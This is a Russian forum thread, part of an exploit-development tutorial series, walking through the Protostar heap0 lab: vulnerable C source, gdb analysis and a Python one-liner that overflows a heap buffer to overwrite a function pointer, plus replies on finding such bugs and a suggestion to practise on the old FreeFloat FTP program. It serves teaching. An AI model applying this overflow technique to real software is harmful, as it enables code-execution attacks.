Статья Переполнение Кучи и перезапись структурного указателя на функцию - разработка эксплойтов, часть 15

fuzzz

fuzzz

Red Team
03.02.2019
189
332
Доброго времени суток codeby. В предыдущих статьях мы работали с уязвимостями форматных строк, а в этой статье мы познакомимся с переполнением буфера в кучи и посмотрим на процесс эксплуатации как это работает.

Описание ExploitMe
Этот уровень знакомит с переполнением кучи и то, как это может повлиять на поток выполнения кода.

Этот уровень находится в / opt / protostar / bin / heap0

,

Исходный код

C:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);

  f->fp();

}
Решение

И так рассмотрим исходный код данной программы и определимся с тем, что нам нужно сделать. Собственно суть задачи у нас сегодня такая, нам нужно вызвать мертвую функцию которая никогда не вызывается, функцию winner(). В случае неудачи будет вызываться функция nowinner(). Так же у нас определены две структуры данных в глобальной области памяти. Структура data и fp. В свою очередь они имеют по одному элементу.

Структура data имеет элемент name объявленный как массив. А структура fp имеет элемент fp, т.е. с таким же названием, и объявлен этот элемент, как целочисленный указатель на несуществующую функцию. Проще говоря это указатель ну функцию. Мы уже встречались с таким указателем. При вызове fp, указатель будет вызывать любой адрес памяти.

С этими структурами мы и будем работать. Так же нужно сказать, что при описание какой-либо структуры, происходит объявление нового типа в языке. Теперь предлагаю посмотреть на код, который расположен в главной функции т.е. в main().

Дальше у нас идет объявление переменных для структур data и fp, а точней говоря объявление указателей структурного типа, для структур data и fp. После чего происходит присвоение адресов памяти этим указателям. На начальные адреса, поскольку heap — это область динамической памяти, выделяемая на стадии исполнения программы.

Поговорим об этом подробнее…

Функция malloc() — это стандартная библиотечная функция в языке Cи, которая выделяет память из участка оперативной памяти, размером равным размеру структуры data или fp в области кучи во время выполнения, и возвращает пустой указатель (void *ptr) на это местоположение т.е. указатель на выделенный блок в памяти.

Но прежде, чем это произойдет, сначала происходит вычисление с помощью оператора sizeof, который подсчитает нужное количество байтов для выделения — функции malloc(). Соответственно выделится блок на 64 байта для структуры data и блок в памяти на 4 байта для структуры fp.

Указатель на структуру f ссылается на элемент в структуре fp, которому присваивается адрес функции nowinner

Код:
f->fp = nowinner;
Затем происходит печать адресов

Код:
printf(«data is at %p, fp is at %p\n», d, f);
Далее происходит копирование строки, полученную через аргумент. Копирование происходит в кучу.

Код:
strcpy(d->name, argv[1]);
После чего происходит вызов функции nowinner.

Код:
f->fp();
Теперь когда картина нам ясна приступим к эксплуатации.

Первым делом откроем программу под отладчиком и дизассемблируем функцию main() после чего поставим точку останова на адрес возврата из функции. Чтобы программа при выполнении не завершилась.

Код:
gdb -q ./heap0
disas main
ms3yvGQ.png


Код:
break *0x08048500
Теперь запустим программу под отладчиком и скормим ей строку из символов «А».

Код:
run AAAA
eQmGhrR (1).png


Так как мы поставили точку останова на адрес возврата (RET) из функции main() и скормили программе символы «AAAA», теперь мы поможем посмотреть карту памяти процесса и найти кучу.

Код:
info proc map
Me4HEJc (1).png


Начальный адрес кучи найден — 0x804a000. Теперь посмотрим в памяти на нашу кучу. Выведем 50 ячеек памяти в шестнадцатеричном формате от начального адреса кучи. Но правильнее будет говорить не 50 ячеек, хотя это тоже правильно, а называть их чанками, поскольку куча состоит из чанков.

Код:
x/50x 0x804a000
0qRJ4S8 (1).png


И мы видим нашу введенную строчку из символов «А», так же можем подсчитать сколько байтов нужно до следующей кучи. Если посмотреть, что расположено по адресу 0x08048478 мы увидим, что там адрес функции nowinner().

Код:
x/x 0x08048478
P2LcOfL.png


Код:
print &nowinner
uSv3nw9.png


Видим, что адреса полностью идентичны. Теперь запустим программу под отладчиком и передадим ей 72 байта чтобы заполнить первую кучу и еще 4 байта, чтобы залезть на вторую кучу. Как и в стеке, память кучи аллоцируется ( распределяется ) непрерывно. Это означает, что если мы будем писать за пределами буфера, мы будем перезаписывать другую структуру данных Использовать будем python.

Код:
run `python -c «print ‘A»*72 + ‘B’*4″`
oqqdMiR.png


EIP перезаписан. Посмотрим теперь как это все выглядит в памяти.

Код:
x/50x 0x804a000
06L6kbA.png


Видно, что мы перезаписали указатель на функцию, мы положили туда 4 байта из символов «B». Теперь посмотрим адрес функции winner(). После чего можно будет подставить этот адрес в место 4 байт из последовательности символов «B».

Код:
print &winner
7p3S42f (1).png


Выходим из GDB — quit.

Составляем наш эксплойт и выполняем его.

Код:
./heap0 $(python -c "from struct import pack; winner=pack('I',0x8048464); print 'A'*72 + winner")
52R4tMa.png


Вот таким не хитрым способом можно влиять на поток выполнения кода в программе используя переполнения буфера в куче. Многие наверно заметили, что подход тот же, что и при переполнение буфера в стеке. Да, это действительно так, поменялась лишь область памяти с которой мы работаем. Так же тут стоит сказать, что мы только-только начинаем знакомиться с уязвимостями в такой области памяти как куча (Heap). Впереди нас ждут такие уязвимости как "Write-what-where", "Use-After-Free", "Double Free". Ну и самое главное уровень пройден теперь можно переходить на следующий .
 
Последнее редактирование:
swagcat228

swagcat228

Well-known member
19.12.2019
132
38
Доброго времени суток codeby. В предыдущих статьях мы работали с уязвимостями форматных строк, а в этой статье мы познакомимся с переполнением буфера в кучи и посмотрим на процесс эксплуатации как это работает.

Описание ExploitMe
Этот уровень знакомит с переполнением кучи и то, как это может повлиять на поток выполнения кода.

Этот уровень находится в / opt / protostar / bin / heap0

,

Исходный код

C:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct data {
  char name[64];
};

struct fp {
  int (*fp)();
};

void winner()
{
  printf("level passed\n");
}

void nowinner()
{
  printf("level has not been passed\n");
}

int main(int argc, char **argv)
{
  struct data *d;
  struct fp *f;

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  printf("data is at %p, fp is at %p\n", d, f);

  strcpy(d->name, argv[1]);

  f->fp();

}
Решение

И так рассмотрим исходный код данной программы и определимся с тем, что нам нужно сделать. Собственно суть задачи у нас сегодня такая, нам нужно вызвать мертвую функцию которая никогда не вызывается, функцию winner(). В случае неудачи будет вызываться функция nowinner(). Так же у нас определены две структуры данных в глобальной области памяти. Структура data и fp. В свою очередь они имеют по одному элементу.

Структура data имеет элемент name объявленный как массив. А структура fp имеет элемент fp, т.е. с таким же названием, и объявлен этот элемент, как целочисленный указатель на несуществующую функцию. Проще говоря это указатель ну функцию. Мы уже встречались с таким указателем. При вызове fp, указатель будет вызывать любой адрес памяти.

С этими структурами мы и будем работать. Так же нужно сказать, что при описание какой-либо структуры, происходит объявление нового типа в языке. Теперь предлагаю посмотреть на код, который расположен в главной функции т.е. в main().

Дальше у нас идет объявление переменных для структур data и fp, а точней говоря объявление указателей структурного типа, для структур data и fp. После чего происходит присвоение адресов памяти этим указателям. На начальные адреса, поскольку heap — это область динамической памяти, выделяемая на стадии исполнения программы.

Поговорим об этом подробнее…

Функция malloc() — это стандартная библиотечная функция в языке Cи, которая выделяет память из участка оперативной памяти, размером равным размеру структуры data или fp в области кучи во время выполнения, и возвращает пустой указатель (void *ptr) на это местоположение т.е. указатель на выделенный блок в памяти.

Но прежде, чем это произойдет, сначала происходит вычисление с помощью оператора sizeof, который подсчитает нужное количество байтов для выделения — функции malloc(). Соответственно выделится блок на 64 байта для структуры data и блок в памяти на 4 байта для структуры fp.

Указатель на структуру f ссылается на элемент в структуре fp, которому присваивается адрес функции nowinner

Код:
f->fp = nowinner;
Затем происходит печать адресов

Код:
printf(«data is at %p, fp is at %p\n», d, f);
Далее происходит копирование строки, полученную через аргумент. Копирование происходит в кучу.

Код:
strcpy(d->name, argv[1]);
После чего происходит вызов функции nowinner.

Код:
f->fp();
Теперь когда картина нам ясна приступим к эксплуатации.

Первым делом откроем программу под отладчиком и дизассемблируем функцию main() после чего поставим точку останова на адрес возврата из функции. Чтобы программа при выполнении не завершилась.

Код:
gdb -q ./heap0
disas main
Посмотреть вложение 37014

Код:
break *0x08048500
Теперь запустим программу под отладчиком и скормим ей строку из символов «А».

Код:
run AAAA
Посмотреть вложение 37015

Так как мы поставили точку останова на адрес возврата (RET) из функции main() и скормили программе символы «AAAA», теперь мы поможем посмотреть карту памяти процесса и найти кучу.

Код:
info proc map
Посмотреть вложение 37016

Начальный адрес кучи найден — 0x804a000. Теперь посмотрим в памяти на нашу кучу. Выведем 50 ячеек памяти в шестнадцатеричном формате от начального адреса кучи. Но правильнее будет говорить не 50 ячеек, хотя это тоже правильно, а называть их чанками, поскольку куча состоит из чанков.

Код:
x/50x 0x804a000
Посмотреть вложение 37017

И мы видим нашу введенную строчку из символов «А», так же можем подсчитать сколько байтов нужно до следующей кучи. Если посмотреть, что расположено по адресу 0x08048478 мы увидим, что там адрес функции nowinner().

Код:
x/x 0x08048478
Посмотреть вложение 37018

Код:
print &nowinner
Посмотреть вложение 37019

Видим, что адреса полностью идентичны. Теперь запустим программу под отладчиком и передадим ей 72 байта чтобы заполнить первую кучу и еще 4 байта, чтобы залезть на вторую кучу. Как и в стеке, память кучи аллоцируется ( распределяется ) непрерывно. Это означает, что если мы будем писать за пределами буфера, мы будем перезаписывать другую структуру данных Использовать будем python.

Код:
run `python -c «print ‘A»*72 + ‘B’*4″`
Посмотреть вложение 37020

EIP перезаписан. Посмотрим теперь как это все выглядит в памяти.

Код:
x/50x 0x804a000
Посмотреть вложение 37021

Видно, что мы перезаписали указатель на функцию, мы положили туда 4 байта из символов «B». Теперь посмотрим адрес функции winner(). После чего можно будет подставить этот адрес в место 4 байт из последовательности символов «B».

Код:
print &winner
Посмотреть вложение 37022

Выходим из GDB — quit.

Составляем наш эксплойт и выполняем его.

Код:
./heap0 $(python -c "from struct import pack; winner=pack('I',0x8048464); print 'A'*72 + winner")
Посмотреть вложение 37023

Вот таким не хитрым способом можно влиять на поток выполнения кода в программе используя переполнения буфера в куче. Многие наверно заметили, что подход тот же, что и при переполнение буфера в стеке. Да, это действительно так, поменялась лишь область памяти с которой мы работаем. Так же тут стоит сказать, что мы только-только начинаем знакомиться с уязвимостями в такой области памяти как куча (Heap). Впереди нас ждут такие уязвимости как "Write-what-where", "Use-After-Free", "Double Free". Ну и самое главное уровень пройден теперь можно переходить на следующий .
Сэр, могли бы вы чуть пояснить на счёт передачи строк в область кучи с помощью питона?

Мы ведь передаём , скармливаем, стринг самой программе? При чем тут питон?
 
fuzzz

fuzzz

Red Team
03.02.2019
189
332
Сэр, могли бы вы чуть пояснить на счёт передачи строк в область кучи с помощью питона?

Мы ведь передаём , скармливаем, стринг самой программе? При чем тут питон?
Можно использовать любой другой язык на свой вкус. Сути дела это не поменяет. Я использую тут Python для того чтобы сформировать определенные данные, строки, байты, адреса. И вот эти подготовленные входные данные передаются уязвимой программе. Частично стринг, как вы выразились. Затем идут байты и адреса. Входные данные попадают в области кучи через функцию strcpy().
 
  • Нравится
Реакции: swagcat228
swagcat228

swagcat228

Well-known member
19.12.2019
132
38
Можно использовать любой другой язык на свой вкус. Сути дела это не поменяет. Я использую тут Python для того чтобы сформировать определенные данные, строки, байты, адреса. И вот эти подготовленные входные данные передаются уязвимой программе. Частично стринг, как вы выразились. Затем идут байты и адреса. Входные данные попадают в области кучи через функцию strcpy().
Я понял, мы передаём в качестве параметра результат выполнения команды на питоне.

Блин, очень интересная тема. Вы так просто расписали ее. Но мне пока некоторые вещи не по зубам.

К примеру как найти такую же уязвимость, но не имея исходного кода? Быть может вы подскажете ссылку на существующий, простой, баг где-то на exploit-db? Что бы можно было попробовать возпроизвести это все в качестве самостоятельной работы?)

Конечно, если у вас будет время
 
fuzzz

fuzzz

Red Team
03.02.2019
189
332
Я понял, мы передаём в качестве параметра результат выполнения команды на питоне.

Блин, очень интересная тема. Вы так просто расписали ее. Но мне пока некоторые вещи не по зубам.

К примеру как найти такую же уязвимость, но не имея исходного кода? Быть может вы подскажете ссылку на существующий, простой, баг где-то на exploit-db? Что бы можно было попробовать возпроизвести это все в качестве самостоятельной работы?)

Конечно, если у вас будет время
1) Можно самому поискать в исходных текстах ( опен сурс проектах ) что-то похожее + воспользовавшись анализатором С\С++. Так же можно собрать программу с санитайзером - скомпилировать, он найдет дефекты. По мимо всего это можно еще пофаззить уже скомпилированнное приложение ну и пореверсить. Это основные подходы к поиску уязвимостей.

2) Дословно конкретный пример подсказать не могу. На exploit-db не часто выкладывают уязвимое ПО, но можно поискать под PoC на сайтах подобных там есть старые версии программ. Вы можете погуглить что-то вроде strcpy buffer overflow exploit-db \ strcpy heap overflow exploit-db... Но если уж сильно хочется то можно попробовать проэксплуатировать "FreeFloat FTP".


3) Если вас заинтересовали бинарные уязвимости, но при этом вы еще не уверены в своих силах, лучше всего будет потренироваться вот на таких вот подобных программах как в статье. Ну а после чего как отточите навык эксплуатации и у вас будет наметан глаз на баги можно браться за реальное ПО. Могу порекомендовать вам книгу "хакинг искусство эксплойта". Там описывается все тоже самое для новичков, так сказать основы. Примеры выполняются в специальной среде на vm ubuntu , если погуглить можно найти книгу и прилагаемую к ней vm. + порешать вот эти вот примеры , вот еще не плохое наставление
 
Последнее редактирование:
  • Нравится
Реакции: J0J0 и swagcat228
swagcat228

swagcat228

Well-known member
19.12.2019
132
38
1) Можно самому поискать в исходных текстах ( опен сурс проектах ) что-то похожее + воспользовавшись анализатором С\С++. Так же можно собрать программу с санитайзером - скомпилировать, он найдет дефекты. По мимо всего это можно еще пофаззить уже скомпилированнное приложение ну и пореверсить. Это основные подходы к поиску уязвимостей.

2) Дословно конкретный пример подсказать не могу. На exploit-db не часто выкладывают уязвимое ПО, но можно поискать под PoC на сайтах подобных там есть старые версии программ. Вы можете погуглить что-то вроде strcpy buffer overflow exploit-db \ strcpy heap overflow exploit-db... Но если уж сильно хочется то можно попробовать проэксплуатировать "FreeFloat FTP".


3) Если вас заинтересовали бинарные уязвимости, но при этом вы еще не уверены в своих силах, лучше всего будет потренироваться вот на таких вот подобных программах как в статье. Ну а после чего как отточите навык эксплуатации и у вас будет наметан глаз на баги можно браться за реальное ПО. Могу порекомендовать вам книгу "хакинг искусство эксплойта". Там описывается все тоже самое для новичков, так сказать основы. Примеры выполняются в специальной среде на vm ubuntu , если погуглить можно найти книгу и прилагаемую к ней vm. + порешать вот эти вот примеры , вот еще не плохое наставление
Очень приятно видеть на просторах интернета такие ресурсы с такими мемберами.

Это шокирует в хорошем смысле. Мир.
 
Мы в соцсетях: